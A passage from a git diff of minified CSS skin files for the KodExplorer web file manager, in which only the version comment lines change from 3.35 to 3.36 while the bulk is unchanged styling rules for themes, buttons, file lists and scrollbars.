100%;filter:url(blur.svg#full_background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body a{ color:rgba(255,255,255,0.8);} body .btn .font-icon{ color:rgba(255,255,255,0.8);} body .aui_outer .btn .font-icon, body .edit_main .btn .font-icon{ color:#999;} body .common_footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.8);border-top:1px solid rgba(234,234,234,0.15);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui_outer{ *border:1px solid #ccc;border:1px solid #ccc \0/IE9;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_state_focus .aui_outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui_title{ border-radius:0;} body .aui_state_focus .aui_title, body .aui_title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar_menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar_menu, body .topbar .content .topbar_menu:hover, body .topbar .content .topbar_menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share_title, body .topbar .content .share_info, body .topbar .content .share_info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top_right div.share_info_user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{ background:#666;} body .frame-main .frame-right .file_select_info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom_box .cell:hover{ background:rgba(234,234,234,0.16);} body .user_space_info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group_space_use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #history_back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input_style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button_style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button_style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button_style:active, body .button_style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball_input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball_input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.fileList_icon div.file .filename, body .file-draging.fileList_list div.file .filename, body .file-draging.fileList_list_split div.file .filename{ visibility:hidden;} body .file-draging.fileList_icon div.file.handle_target .filename, body .file-draging.fileList_list div.file.handle_target .filename, body .file-draging.fileList_list_split div.file.handle_target .filename{ visibility:visible;} body .fileList_icon .file{ color:#fff;} body .fileList_list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .fileList_list .file.file2{ background:rgba(221,221,221,0.02);} body .fileContiner .file, body .fileContiner .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .fileContiner .file.hover, body .fileContiner .file.select_split_parent, body .fileContiner .file2.hover, body .fileContiner .file2.select_split_parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .fileContiner .file.select, body .fileContiner .file.selectDragTemp, body .fileContiner .file2.select, body .fileContiner .file2.selectDragTemp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .fileList_list_split .split_box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .fileList_list_split .split_box.split_hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .fileList_list_split .split_box.split_select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body #list_type_list{ background:none;} body #main_title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main_title .this{ background:rgba(234,234,234,0.16);} body #main_title .filename, body #main_title .filesize, body #main_title .filetype, body #main_title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main_title .filename:hover, body #main_title .filesize:hover, body #main_title .filetype:hover, body #main_title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page_editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page_editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page_editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu_left, body #body .app_menu_left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;} body #body .menu_left h1, body #body .app_menu_left h1{ color:#fff;font-weight:400;} body #body .menu_left .setting a, body #body .app_menu_left .setting a{ color:#fff;} body #body .menu_left .setting a:hover, body #body .app_menu_left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu_left .setting a.selected, body #body .app_menu_left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .main .nav a:hover, body #body .main .nav a.this{ background:#555;border:1px solid #555;} body #body .user_list a{ color:#2a6496;} body #body .system_conennt .left_freame .left_content .ztree li a{ text-shadow:none;} body #body .system_conennt .left_freame .left_content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body #body .system_conennt .left_freame .left_content .ztree li a .sub_menu{ color:#888 !important;} body#page_explorer .task_tab, body#page_editor .task_tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body.setting_page .ztree li a{ color:inherit;}} -/* ver 3.35(2016-12-23) [build 1482476941.183] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112854.3109] */ \ No newline at end of file diff --git a/static/style/skin/alpha_image_sun.css b/static/style/skin/alpha_image_sun.css index 9b5ddac..eed7ad2 100755 --- a/static/style/skin/alpha_image_sun.css +++ b/static/style/skin/alpha_image_sun.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476941.12] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112854.2495] */ .text_color_set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full_background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;background-size:100% 100%;} body .full_background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full_background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body a{ color:rgba(255,255,255,0.8);} body .btn .font-icon{ color:rgba(255,255,255,0.8);} body .aui_outer .btn .font-icon, body .edit_main .btn .font-icon{ color:#999;} body .common_footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.8);border-top:1px solid rgba(234,234,234,0.15);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui_outer{ *border:1px solid #ccc;border:1px solid #ccc \0/IE9;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_state_focus .aui_outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui_title{ border-radius:0;} body .aui_state_focus .aui_title, body .aui_title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar_menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar_menu, body .topbar .content .topbar_menu:hover, body .topbar .content .topbar_menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share_title, body .topbar .content .share_info, body .topbar .content .share_info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top_right div.share_info_user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{ background:#666;} body .frame-main .frame-right .file_select_info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom_box .cell:hover{ background:rgba(234,234,234,0.16);} body .user_space_info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group_space_use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #history_back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input_style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button_style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button_style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button_style:active, body .button_style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball_input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball_input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.fileList_icon div.file .filename, body .file-draging.fileList_list div.file .filename, body .file-draging.fileList_list_split div.file .filename{ visibility:hidden;} body .file-draging.fileList_icon div.file.handle_target .filename, body .file-draging.fileList_list div.file.handle_target .filename, body .file-draging.fileList_list_split div.file.handle_target .filename{ visibility:visible;} body .fileList_icon .file{ color:#fff;} body .fileList_list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .fileList_list .file.file2{ background:rgba(221,221,221,0.02);} body .fileContiner .file, body .fileContiner .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .fileContiner .file.hover, body .fileContiner .file.select_split_parent, body .fileContiner .file2.hover, body .fileContiner .file2.select_split_parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .fileContiner .file.select, body .fileContiner .file.selectDragTemp, body .fileContiner .file2.select, body .fileContiner .file2.selectDragTemp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .fileList_list_split .split_box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .fileList_list_split .split_box.split_hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .fileList_list_split .split_box.split_select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body #list_type_list{ background:none;} body #main_title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main_title .this{ background:rgba(234,234,234,0.16);} body #main_title .filename, body #main_title .filesize, body #main_title .filetype, body #main_title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main_title .filename:hover, body #main_title .filesize:hover, body #main_title .filetype:hover, body #main_title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page_editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page_editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page_editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu_left, body #body .app_menu_left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;} body #body .menu_left h1, body #body .app_menu_left h1{ color:#fff;font-weight:400;} body #body .menu_left .setting a, body #body .app_menu_left .setting a{ color:#fff;} body #body .menu_left .setting a:hover, body #body .app_menu_left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu_left .setting a.selected, body #body .app_menu_left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .main .nav a:hover, body #body .main .nav a.this{ background:#555;border:1px solid #555;} body #body .user_list a{ color:#2a6496;} body #body .system_conennt .left_freame .left_content .ztree li a{ text-shadow:none;} body #body .system_conennt .left_freame .left_content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body #body .system_conennt .left_freame .left_content .ztree li a .sub_menu{ color:#888 !important;} body#page_explorer .task_tab, body#page_editor .task_tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body.setting_page .ztree li a{ color:inherit;}} -/* ver 3.35(2016-12-23) [build 1482476941.12] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112854.2495] */ \ No newline at end of file diff --git a/static/style/skin/base/app_code_edit.css b/static/style/skin/base/app_code_edit.css index 9651542..d570d0c 100755 --- a/static/style/skin/base/app_code_edit.css +++ b/static/style/skin/base/app_code_edit.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476938.8517] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ 